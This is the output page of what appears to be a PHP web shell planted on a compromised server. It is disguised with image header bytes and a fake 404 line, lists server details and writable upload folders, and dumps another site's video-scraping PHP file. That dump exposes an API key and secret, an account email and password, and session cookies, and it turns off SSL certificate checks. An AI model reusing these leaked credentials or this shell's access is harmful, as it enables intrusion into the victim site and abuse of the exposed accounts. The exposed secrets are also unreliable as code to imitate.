ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/code/videodetail.php
<?php
class videodetail{
    public function __construct(){
        global $CORE;
        $code = '';
        if(isset($CORE->input['code'])){
            $code = $CORE->input['code'];
        }
        switch ($code)
        {
            default	: $this->goDetail(); break;
            case 'detail2': $this->goDetail2(); break;
        }
    }
    function goDetail2(){
        global $CORE,$smarty,$func,$INFO,$print;
        include 'lib/simple_html_dom.php';
        $vq = trim($CORE->input['title']);
        $vq = str_replace(array(' ','%20','<','>','~','!','@','#','$','%','|','-'),array('+','+','','','','','','','','','','%2B'),$vq);
        //$url_get = 'https://m.youtube.com/results?search_query='.$vq.'&app=mobile&gl='.$_SESSION['country'];
        $url_get = 'https://m.youtube.com/results?search_query='.$vq.'&gl='.$_SESSION['country'];
        $content2 = $this->curl_mobile($url_get);
        $html = str_get_html($content2);
        $content2 = $html->find('div#initial-data',0)->innertext;
        $content2 = str_replace(array('<!--','-->'),array('',''),$content2);
        $data = json_decode(trim($content2),true);
        $detail = array();
        $detail['total'] = $data['estimatedResults'];
        $detail['avatar'] = $data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['channelThumbnail']['thumbnails']['0']['url'];
        $detail['next_token'] = '';

        $detail['video_1_title'] = $data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['title']['runs']['0']['text'];
        $channel_url = $data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['longBylineText']['runs']['0']['navigationEndpoint']['commandMetadata']['webCommandMetadata']['url'];
        $channel_name = $data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['longBylineText']['runs']['0']['text'];
        $channel_fname = $func->format_string($channel_name);

        $detail['chanel_id'] = $data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['longBylineText']['runs']['0']['navigationEndpoint']['browseEndpoint']['browseId'];

        $detail['chanel_id'] = bin2hex($func->str_encode($detail['chanel_id'], 'ngocgiac'));

        $detail['video_1_des'] = $detail['video_1_title'].' by <a href="channel/'.$detail['chanel_id'].'/'.$channel_fname.'/">'.$channel_name.'</a> '.$data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['publishedTimeText']['runs']['0']['text'].' '.$data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['viewCountText']['runs']['0']['text'].' '.$data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['lengthText']['accessibility']['accessibilityData']['label'];
        $detail['video_1_duration'] = $data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['lengthText']['runs']['0']['text'];
        $detail['videos'] = array();
        $i=0;
        if(!empty($data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents'])) {
            $detail['next_token'] = $data['contents']['sectionListRenderer']['contents']['1']['continuationItemRenderer']['continuationEndpoint']['continuationCommand']['token'];
            foreach ($data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents'] as $key => $val) {
                if (!empty($val['compactVideoRenderer']['title']['runs']['0']['text']) && !empty($val['compactVideoRenderer']['videoId'])) {
                    $detail['videos'][$i]['title'] = $val['compactVideoRenderer']['title']['runs']['0']['text'];
                    $detail['videos'][$i]['ftitle'] = $func->format_string($detail['videos'][$i]['title']);
                    $detail['videos'][$i]['id'] = $val['compactVideoRenderer']['videoId'];
                    $detail['videos'][$i]['id_encode'] = bin2hex($func->str_encode($detail['videos'][$i]['id'], 'ngocgiac'));
                    $detail['videos'][$i]['img'] = '//i.ytimg.com/vi/' . $detail['videos'][$i]['id'] . '/mqdefault.jpg';
                    $detail['videos'][$i]['duration'] = $val['compactVideoRenderer']['lengthText']['runs']['0']['text'];
                    $detail['videos'][$i]['user_name'] = $val['compactVideoRenderer']['shortBylineText']['runs']['0']['text'];
                    $detail['videos'][$i]['fuser_post'] = $func->format_string($detail['videos'][$i]['user_name']);
                    $detail['videos'][$i]['user_name_id'] = basename($val['compactVideoRenderer']['shortBylineText']['runs']['0']['navigationEndpoint']['commandMetadata']['webCommandMetadata']['url']);
                    //$detail['videos'][$i]['user_id'] = bin2hex(str_encode($detail['videos'][$i]['user_name_id'], 'ngocgiac'));
                    $detail['videos'][$i]['user_id'] = bin2hex($func->str_encode($val['compactVideoRenderer']['longBylineText']['runs']['0']['navigationEndpoint']['browseEndpoint']['browseId'], 'ngocgiac'));


                    $detail['videos'][$i]['user_name_avatar'] = $val['compactVideoRenderer']['channelThumbnail']['thumbnails']['0']['url'];
                    $detail['videos'][$i]['text_ago'] = $val['compactVideoRenderer']['publishedTimeText']['runs']['0']['text'];
                    $i++;
                }
            }
        }
        if(!empty($data['contents']['sectionListRenderer']['contents']['1']['itemSectionRenderer']['contents'])){
            $detail['next_token'] = $data['contents']['sectionListRenderer']['contents']['1']['itemSectionRenderer']['continuations']['0']['nextContinuationData']['continuation'];
            foreach ($data['contents']['sectionListRenderer']['contents']['1']['itemSectionRenderer']['contents'] as $key => $val) {
                if (!empty($val['compactVideoRenderer']['title']['runs']['0']['text']) && !empty($val['compactVideoRenderer']['videoId'])) {
                    $detail['videos'][$i]['title'] = $val['compactVideoRenderer']['title']['runs']['0']['text'];
                    $detail['videos'][$i]['ftitle'] = $func->format_string($detail['videos'][$i]['title']);
                    $detail['videos'][$i]['id'] = $val['compactVideoRenderer']['videoId'];
                    $detail['videos'][$i]['id_encode'] = bin2hex($func->str_encode($detail['videos'][$i]['id'], 'ngocgiac'));
                    $detail['videos'][$i]['img'] = '//i.ytimg.com/vi/' . $detail['videos'][$i]['id'] . '/mqdefault.jpg';
                    $detail['videos'][$i]['duration'] = $val['compactVideoRenderer']['lengthText']['runs']['0']['text'];
                    $detail['videos'][$i]['user_name'] = $val['compactVideoRenderer']['shortBylineText']['runs']['0']['text'];
                    $detail['videos'][$i]['fuser_post'] = $func->format_string($detail['videos'][$i]['user_name']);
                    $detail['videos'][$i]['user_name_id'] = basename($val['compactVideoRenderer']['shortBylineText']['runs']['0']['navigationEndpoint']['commandMetadata']['webCommandMetadata']['url']);


                    $detail['videos'][$i]['user_id'] = bin2hex($func->str_encode($val['compactVideoRenderer']['longBylineText']['runs']['0']['navigationEndpoint']['browseEndpoint']['browseId'], 'ngocgiac'));
                    $detail['videos'][$i]['user_name_avatar'] = $val['compactVideoRenderer']['channelThumbnail']['thumbnails']['0']['url'];
                    $detail['videos'][$i]['text_ago'] = $val['compactVideoRenderer']['publishedTimeText']['runs']['0']['text'];
                    $i++;
                }
            }
        }
        if(empty($detail['next_token'])){
            $detail['next_token'] = $data['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['continuations']['0']['nextContinuationData']['continuation'];
        }
        print_r($detail);
        exit();
        echo json_encode($detail);
        exit();

    }
    function goDetail(){
        global $CORE,$smarty,$func,$INFO,$print;
        $detail = array();
        $detail['server'] = '';
        $id = isset($CORE->input['id']) ? $CORE->input['id'] : '';
        $arr_deny_youtube = array('f185db2318cdc0cd0b1f35','c1a5e57c24b3c0d4137029','fce38b650590d1dd146d35','fefee0402988c4da246b0f','fc94d4433abf8ef70a6c1b');
        if(!is_numeric($id) and strlen($id)>8) {//youtube video
            $detail['server'] = 'youtube';
            if (in_array($id, $arr_deny_youtube)) {
                header('Location: /404/index.html');
            }
            $vid = $func->str_encode($func->hex2bin($id), 'ngocgiac');
            $detail['player'] = $func->encode_html('<iframe id="player_iframe" src="https://www.youtube-nocookie.com/embed/' . $vid . '?autoplay=1&html5=1&controls=1&showinfo=0&rel=0&modestbranding=0&playsinline=1&enablejsapi=1&widgetid=1" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>');
            $detail['no_iframe'] = 0;

            require ROOT_PATH.'proxy/Google/Client.php';
            require ROOT_PATH.'proxy/Google/Service/YouTube.php';
            $client = new Google_Client();
            $client->setDeveloperKey($INFO['api_key']);
            $youtube = new Google_Service_YouTube($client);
            $searchResponse = $youtube->videos->listVideos('contentDetails,snippet,status', array(
                'id' => $vid
            ));
            if ($searchResponse) {
                foreach ($searchResponse['items'] as $val) {
                    $detail['id_you'] = $val['id'];
                    $detail['title'] = $val['snippet']['title'];
                    $detail['ftitle'] = $func->format_string($val['snippet']['title']);
                    $detail['des'] = $val['snippet']['description'];
                    $detail['cat_youtube'] = $val['snippet']['categoryId'];
                    //$detail['duration'] = $func->covtime($val['contentDetails']['duration']);
                    $detail['meta_duration'] = $val['contentDetails']['duration'];
                    $detail['user_name'] = $val['snippet']['channelTitle'];
                    $detail['fuser_name'] = $func->format_string($val['snippet']['channelTitle']);
                    $detail['chanel_id'] = bin2hex($func->str_encode($val['snippet']['channelId'], 'ngocgiac'));
                    $detail['publishedAt'] = strtotime($val['snippet']['publishedAt']);
                    $detail['txt_time'] = date(DATE_ISO8601, $detail['publishedAt']);
                    $detail['view'] = date('M d,Y',strtotime($val['snippet']['publishedAt']));
                    $channel_info = $youtube->channels->listChannels(
                        'snippet',
                        array('id' => $val['snippet']['channelId'])
                    );

                    foreach ($channel_info['items'] as $channel) {
                        if ($channel['snippet']['thumbnails']['high']['url'] != '') {
                            $detail['avatar'] = $channel['snippet']['thumbnails']['high']['url'];
                        } else {
                            $detail['avatar'] = $channel['snippet']['thumbnails']['default']['url'];
                        }
                        $detail['time_post'] =  $channel['snippet']['publishedAt'];
                    }
                    $arr_tags = $val['snippet']['tags'];
                    $detail['txt_tags'] = '';
                    if (!is_null($arr_tags)) {
                        foreach ($arr_tags as $val) {
                            $detail['txt_tags'] .= '<span><a href="?act=search&q=' . $val . '" title="' . $val . '">' . $val . '</a></span>';
                        }
                    }

                }
                $detail['keywords'] = '';
                if(!empty($arr_tags)) {
                    $detail['keywords'] = implode(',', $arr_tags);
                }
                $detail['des'] = preg_replace('@(https?://([-\w\.]+[-\w])+(:\d+)?(/([\w/_\.#-]*(\?\S+)?[^\.\s])?)?)@', '<a href="$1" target="_blank" rel="nofollow">$1</a>', $detail['des']);
                $detail['des'] = preg_replace("/\r|\n/", "<br/>", $detail['des']);
                //$detail['player'] = $func->encode_html('<div class="plyr__video-embed" id="player" data-plyr-provider="youtube" data-plyr-embed-id="' . $decoded . '"></div>');
                $searchResponse_related = $youtube->search->listSearch('id,snippet', array(
                    'relatedToVideoId' => $vid,
                    'type' => 'video',
                    'maxResults' => 25
                ));
                $detail['videos']= array();
                $i=0;
                foreach ($searchResponse_related['items'] as $searchResult) {
                    if(!empty($searchResult['snippet']['title']) && $searchResult['id']['videoId']!=$vid) {
                        $detail['videos'][$i]['title'] = $searchResult['snippet']['title'];
                        $detail['videos'][$i]['ftitle'] = $func->format_string($detail['videos'][$i]['title']);
                        $detail['videos'][$i]['id_you'] = $searchResult['id']['videoId'];
                        $detail['videos'][$i]['id_encode'] = bin2hex($func->str_encode($detail['videos'][$i]['id_you'], 'ngocgiac'));
                        $detail['videos'][$i]['img'] = 'https://img.youtube.com/vi/' . $detail['videos'][$i]['id_you'] . '/mqdefault.jpg';
                        $detail['videos'][$i]['user_id'] = bin2hex($func->str_encode($searchResult['snippet']['channelId'], 'ngocgiac'));
                        $detail['videos'][$i]['user_post'] = $searchResult['snippet']['channelTitle'];
                        $detail['videos'][$i]['fuser_post'] = $func->format_string($detail['videos'][$i]['user_post']);
                        $detail['videos'][$i]['duration'] = '<span class="other_title" id="duration2__' . $detail['videos'][$i]['id_you'] . '"></span>';
                        $i++;
                    }
                }


            }else {

                $noembed = json_decode($func->get_content_page('https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=' . $vid . '&format=json', 'https://youtube.com'));
                $detail['title'] = $noembed->title;
                $detail['channel_url'] = $noembed->author_url;
                $detail['chanel_id_basic'] = basename($detail['channel_url']);
                $detail['chanel_id'] = bin2hex($func->str_encode($detail['chanel_id_basic'], 'ngocgiac'));
                $detail['user_name'] = $noembed->author_name;
                $detail['fuser_name'] = $func->format_string($detail['user_name']);
                $detail['keywords'] = '';
                $vq = trim($CORE->input['title']);
                $vq = str_replace(array(' ','%20','<','>','~','!','@','#','$','%','|','-'),array('+','+','','','','','','','','','','%2B'),$vq);

                $url_get = 'https://m.youtube.com/results?search_query='.$vq.'&gl='.$_SESSION['country'];
                $content2 = $this->curl_mobile($url_get);

                $content2 = preg_replace_callback(
                    "(\\\\x([0-9a-f]{2}))i",
                    function($a) {return chr(hexdec($a[1]));},
                    $content2
                );

                $content2 = preg_replace_callback('/\\\\u([0-9a-fA-F]{4})/', function ($match) {
                    return mb_convert_encoding(pack('H*', $match[1]), 'UTF-8', 'UCS-2BE');
                }, $content2);

                preg_match('#"channelThumbnail":\{"channelThumbnailWithLinkRenderer":\{"thumbnail":\{"thumbnails":\[\{"url":"(.*?)",#is',$content2,$match);
                $detail['avatar'] = str_replace('\/','/',$match[1]);
                preg_match('#"browseEndpoint"\:\{"browseId"\:"(.*?)",#is',$content2,$match);
                $detail['chanel_id'] = $match[1];
                $detail['chanel_id'] = bin2hex($func->str_encode($detail['chanel_id'], 'ngocgiac'));
                $detail['des'] = $detail['title'];
                preg_match('#"publishedTimeText"\:\{"runs"\:\[\{"text"\:"(.*?)"}#is',$content2,$match);
                $detail['time_post'] = $match[1];
                preg_match('#"shortViewCountText"\:\{"runs"\:\[\{"text"\:"(.*?)"\}#is',$content2,$match);
                $detail['view'] = $match[1];
                $detail['txt_tags'] = $detail['title'];

                //related videos
                $detail['videos'] = array();
                $i=0;
                preg_match_all("#videoWithContextRenderer\"\:(.*?)\}\}\}\}#is",$content2,$match);

                foreach($match[1] as $key=>$val){

                    $i = $key;
                    preg_match("#\"watchEndpoint\"\:\{\"videoId\"\:\"(.*?)\"\}\}#is",$val,$match);
                    if(isset($match['1']) && $match['1']!='' && $match['1']!=$vid) {
                        $arr_id = explode('","',$match['1']);
                        $detail['videos'][$i]['id'] = $arr_id[0];
                        $detail['videos'][$i]['id_encode'] = bin2hex($func->str_encode($detail['videos'][$i]['id'], 'ngocgiac'));
                        preg_match('#"text"\:"(.*?)"\}\]#is', $val, $match);
                        $detail['videos'][$i]['title'] = $match[1];
                        $detail['videos'][$i]['ftitle'] = $func->format_string($detail['videos'][$i]['title']);
                        preg_match('#"title"\:\{"runs"\:\[\{"text"\:"(.*?)"\}#is', $val, $match);
                        $detail['videos'][$i]['img'] = '//i.ytimg.com/vi/' . $detail['videos'][$i]['id'] . '/mqdefault.jpg';
                        preg_match('#"lengthText"\:\{"runs"\:\[\{"text":"(.*?)"\}#is', $val, $match);
                        $detail['videos'][$i]['duration'] = $match[1];
                        preg_match('#"shortBylineText"\:\{"runs"\:\[\{"text":"(.*?)"\,#is', $val, $match);
                        $detail['videos'][$i]['user_name'] = $detail['videos'][$i]['user_post'] = $match[1];
                        $detail['videos'][$i]['fuser_post'] = $func->format_string($detail['videos'][$i]['user_name']);
                        preg_match('#"browseEndpoint"\:\{"browseId"\:"(.*?)"\,#is', $val, $match);
                        $detail['videos'][$i]['user_name_id'] = $match[1];
                        $detail['videos'][$i]['user_id'] = bin2hex($func->str_encode($detail['videos'][$i]['user_name_id'], 'ngocgiac'));
                    }

                }
                /*if($CORE->ip=='14.164.229.99'){
                    print_r($detail);
                    exit();
                }*/

            }
            //seo meta
            $detail['encode'] = $id;
            $detail['id_youtube'] = $vid;
            $detail['img'] = 'https://i.ytimg.com/vi/' . $vid . '/maxresdefault.jpg';
            $detail['ftitle'] = $func->format_string($detail['title']);
            $detail['title'] = trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($detail['title']))));
            $detail['seo_thumbnail'] = 'https://i.ytimg.com/vi/' . $vid . '/default.jpg';
            $detail['hq_thumbnail'] = 'https://i.ytimg.com/vi/' . $vid . '/hqdefault.jpg';
            $detail['sd_thumbnail'] = 'https://i.ytimg.com/vi/' . $vid . '/sddefault.jpg';
            $detail['download_link'] = 'video/download/'.$detail['ftitle'].'-'.$id.'.html';
        }

        if(!is_numeric($id) and strlen($id)<=8){//dailymotion video
            $detail['server'] = 'dailymotion';

            /*require ROOT_PATH.'lib/Dailymotion.php';
            $apiKey = '31c2d7ae78aca3f0b14c';
            $apiSecret = '13ef6e5c0860da5e5f4b4f2db0b1ce8313d5da9c';
            $testUser = 'xxxgiacxxx@gmail.com';
            $testPassword = 'iSchool!23';
            $scopes = array(
                'userinfo',
                'feed',
                'manage_videos',
            );
            $api = new Dailymotion();
            $api->setGrantType(
                Dailymotion::GRANT_TYPE_PASSWORD,
                $apiKey,
                $apiSecret,
                $scopes,
                array(
                    'username' => $testUser,
                    'password' => $testPassword,
                )
            );
            $arr_content = $api->get(
                '/video/'.$id,
                array('fields' => array('id', 'title', 'thumbnail_large_url','duration','description','owner.username','owner.id','owner.avatar_240_url','tags','thumbnail_120_url','thumbnail_360_url','thumbnail_720_url','views_total','updated_time'))
            );*/

            $url = 'https://st2.123vid.net/daily_detail.php?id='.$id;

            $result_detail = $func->curl_func($url);
            $arr_content = json_decode($result_detail,true);

            $detail['encode'] = $id;
            $detail['id'] = $id;
            $detail['ftitle'] = $func->format_string($arr_content['title']);
            $detail['title'] = trim(strip_tags(str_replace('"','&quot;',html_entity_decode($arr_content['title']))));
            $detail['des'] = preg_replace('@(https?://([-\w\.]+[-\w])+(:\d+)?(/([\w/_\.#-]*(\?\S+)?[^\.\s])?)?)@', '<a href="$1" target="_blank" rel="nofollow">$1</a>', $arr_content['description']);
            $detail['des'] = preg_replace( "/\r|\n/", "<br/>",  $detail['des']);
            //$detail['duration'] = $arr_content['duration'];
            $detail['meta_duration'] = $func->iso8601_duration($arr_content['duration']);
            $detail['img'] = str_replace('http://','https://',$arr_content['thumbnail_large_url']);
            $detail['player'] = $func->encode_html('<iframe id="player_iframe" src="//www.dailymotion.com/embed/video/'.$id.'?autoplay=true&byline=0&portrait=0&title=0&queue-autoplay-next=0&queue-enable=0&sharing-enable=0&ui-logo=0&ui-start-screen-info=1" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe>');
            $detail['no_iframe'] = 0;
            $detail['avatar'] = str_replace('http://','https://',$arr_content['owner.avatar_240_url']);
            $detail['user_name'] = $arr_content['owner.username'];
            $detail['fuser_name'] = $arr_content['owner.username'];
            $detail['chanel_id'] = $arr_content['owner.id'];
            $detail['view'] = $arr_content['views_total'];
            $detail['time_post'] = $detail['txt_time'] = date(DATE_ISO8601,$arr_content['updated_time']);
            $detail['download_link'] = '';
            $arr_tags = $arr_content['tags'];
            $detail['txt_tags'] = '';
            if(!is_null($arr_tags)){
                foreach ($arr_tags as $val){
                    $detail['txt_tags'] .= '<span><a href="?act=search&q='.$val.'" title="'.$val.'">'.$val.'</a></span>';
                }
            }
            $detail['keywords'] = implode(',',$arr_tags);
            $detail['seo_thumbnail'] = str_replace('http://','https://',$arr_content['thumbnail_120_url']);
            $detail['hq_thumbnail'] = str_replace('http://','https://',$arr_content['thumbnail_360_url']);
            $detail['sd_thumbnail'] = str_replace('http://','https://',$arr_content['thumbnail_720_url']);

            /*$row_check = $detail;
            $row_check['user_name'] = $arr_content['owner.username'];
            $row_check['txt_time'] = date(DATE_ISO8601, time());*/
            //related dailymotion
            /*$result = $api->get(
                '/video/'.$detail['id'].'/related?fields=allow_embed,duration,thumbnail_url,title,&page=1&limit=26',
                array('fields' => array('id', 'title', 'thumbnail_720_url','duration','owner.username','owner.id'))
            );*/
            $url  = 'https://st2.123vid.net/daily_related.php?id='.$detail['id'];
            $result_re = $func->curl_func($url);
            $result = json_decode($result_re,true);
            $i=0;
            $detail['videos'] = array();
            if(!empty($result['list'])){
                foreach($result['list'] as $val) {
                    $detail['videos'][$i]['id_you'] = '';
                    $detail['videos'][$i]['ftitle'] = $func->format_string($val['title']);
                    $detail['videos'][$i]['title'] = trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($val['title']))));

                    $detail['videos'][$i]['id_encode'] = $val['id'];
                    $detail['videos'][$i]['duration'] = gmdate('H:i:s', $val['duration']);
                    $detail['videos'][$i]['user_post'] = $val['owner.username'];
                    $detail['videos'][$i]['fuser_post'] = $func->format_string($val['owner.username']);
                    $detail['videos'][$i]['user_id'] = $val['owner.id'];

                    if(substr($detail['videos'][$i]['duration'],0,3)=='00:'){
                        $detail['videos'][$i]['duration'] = substr($detail['videos'][$i]['duration'],-5);
                    }
                    $detail['videos'][$i]['img'] = str_replace('http://','https://',$val['thumbnail_720_url']);
                    $detail['videos'][$i]['img'] = 'https://img.vidoe.top/image.php?file='.base64_encode($detail['videos'][$i]['img']).'&w=686&h=386';
                    $i++;
                }
            }

        }

        $cur_url = $func->current_url();
        //$cur_url = 'https://1video.top/r/video/'.$id.'.html';
        $smarty->assign('title', trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($detail['title'])))));
        $seo_des = trim(strip_tags(str_replace('"', '&quot;', html_entity_decode($detail['des']))));
        if(empty($seo_des)){
            $seo_des = 'Video '.$detail['title'].' by '.$detail['user_name'].' at '.$detail['time_post'].' , '.$detail['view'].' views '.$detail['keywords'];
        }
        $smarty->assign('description', $seo_des);
        $smarty->assign('image', $detail['img']);
        $smarty->assign('keywords',$detail['keywords']);
        $smarty->assign('cur_url',$cur_url);
        $smarty->assign('detail',$detail);
    }
    function curl_mobile($url){
        $ch = curl_init();
        $head[] = 'Host: m.youtube.com';
        $head[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0';
        $head[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
        $head[] = 'Accept-Language: en-US,en;q=0.5';
        $head[] = 'Accept-Encoding: gzip';
        $head[] = 'Connection: keep-alive';
        $head[] = 'Cookie: VISITOR_INFO1_LIVE=fQJoDmD2uIM; _ga=GA1.2.132832653.1582794066; PREF=app=m; CONSENT=YES+VN.vi+20170312-18-0; YSC=f7ClEVxjn-o; GPS=1';
        $head[] = 'Upgrade-Insecure-Requests: 1';
        $head[] = 'Pragma: no-cache';
        $head[] = 'Cache-Control: no-cache';
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3B48b Safari/419.3');
        curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_REFERER, 'https://m.youtube.com');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_COOKIEJAR,  'cookies-m-youtube-com-search.txt');
        curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies-m-youtube-com-search.txt');
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
        curl_setopt($ch,CURLOPT_ENCODING , "gzip");
        $page = curl_exec($ch);
        curl_close($ch);
        return $page;
    }
    function curl_func_yt_detail($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        $head[] = "Connection: keep-alive";
        $head[] = "Keep-Alive: 300";
        $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
        $head[] = "Accept-Language: en-us,en;q=0.5";
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36');
        curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
        curl_setopt($ch, CURLOPT_REFERER, 'https://www.youtube.com');
        curl_setopt($ch, CURLOPT_COOKIEJAR,  'cookies-www-youtube-detail-com.txt');
        curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies-www-youtube-detail-com.txt');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
        $page = curl_exec($ch);
        curl_close($ch);
        return $page;
    }
    function curl_func_x($url) {
        $ch = curl_init();
        $head[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9';
        $head[] = 'Accept-Encoding: gzip';
        $head[] = 'Accept-Language: en-US,en;q=0.9';
        $head[] = 'Cache-Control: max-age=0';
        $head[] = 'Connection: keep-alive';
        $head[] = 'Cookie: thumbloadstats_vthumbs=%7B%222%22%3A%5B%7B%22s%22%3A1%2C%22d%22%3A3223%7D%5D%2C%223%22%3A%5B%7B%22s%22%3A1%2C%22d%22%3A5132%7D%5D%2C%2210%22%3A%5B%7B%22s%22%3A1%2C%22d%22%3A4017%7D%5D%2C%22last%22%3A%7B%22s%22%3A1%2C%22v%22%3A%5B3223%2C5132%2C4017%5D%7D%7D; multi_accounts=3e9b47a6fcf19dc9ADCEjUObvVUV4vdT1bPof-UXgoL-qzccQsH__q4H8bzYOa6-RD3s6-7Sd4E9sX5C; X-Backend=10|XxUq8|XxUqx; hexavid_lastsubscheck=1; chat_data_c=; html5_pref=%7B%22SQ%22%3Afalse%2C%22MUTE%22%3Afalse%2C%22VOLUME%22%3A1%2C%22FORCENOPICTURE%22%3Afalse%2C%22FORCENOAUTOBUFFER%22%3Afalse%2C%22FORCENATIVEHLS%22%3Afalse%2C%22PLAUTOPLAY%22%3Atrue%2C%22CHROMECAST%22%3Afalse%2C%22EXPANDED%22%3Afalse%2C%22FORCENOLOOP%22%3Afalse%7D; last_views=%5B%2248007543-1595222885%22%5D; session_token=bc388a489c263daarYFzvXMwwD8A-8qDvZtNu0BYCtRbA6YpVj_Lzmv4ZEGF-BCFKwHcFswva0MCAs6ccC9L1n-V1yklOu4clVrVih5ISMToRM7JfNx9ciVjk7Oy_1dNrwn09kBg9WtwRLoulgGRjc3ayJVEnLzpLkmbq3t1MJdehkXmIpeTcJ3XG1IYRqaD-95zQHRAV0gMwoFzfqedi02pN7v2S5EenBkUOIobiSLg4fZFVpWK2KJCMhOCkJmr1G8qEWQEKip4jZpcbbzLIZsf76QfM_31SOlvQBQABW_tmae914JC5UBmwXp6i_lPWAXuuMsBBfn4di2aDgyr6hz3G-Hg98J4Td1KtLxXiTp25abSJmG47lA8YXcit0OayO5Zgn1pgjcK_lnWA8Qt7GH_CAUQar7inKnvl1IzsJYEqaBI8MNhuaCEkI3rfe86hGfobO5bIcvVMVDW';
        $head[] = 'Host: www.xvideos.com';
        $head[] = 'Referer: https://www.xvideos.com/';
        $head[] = 'Sec-Fetch-Dest: document';
        $head[] = 'Sec-Fetch-Mode: navigate';
        $head[] = 'Sec-Fetch-Site: same-origin';
        $head[] = 'Sec-Fetch-User: ?1';
        $head[] = 'Upgrade-Insecure-Requests: 1';
        $head[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36';
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0');
        curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_REFERER, 'https://xvideos.com');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);


        curl_setopt($ch, CURLOPT_COOKIEJAR,  'cookies.txt');
        curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');


        /*$array = array('170.130.62.4:3128','170.130.62.107:3128','170.130.62.4:3128',
            '170.130.62.107:3128',
            '173.232.14.67:3128',
            '104.140.209.33:3128',
            '173.208.39.20:3128',
            '170.130.62.189:3128',
            '173.208.39.112:3128',
            '104.140.209.156:3128',
            '173.232.14.30:3128',
            '170.130.62.216:3128');
        $k = array_rand($array);
        $proxy = $array[$k];
        curl_setopt($ch, CURLOPT_PROXY, $proxy);*/


        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch,CURLOPT_ENCODING , "gzip");
        $page = curl_exec($ch);
        curl_close($ch);
        return $page;
    }

}
$run	=	new videodetail();
?>

ZeroDay Forums Mini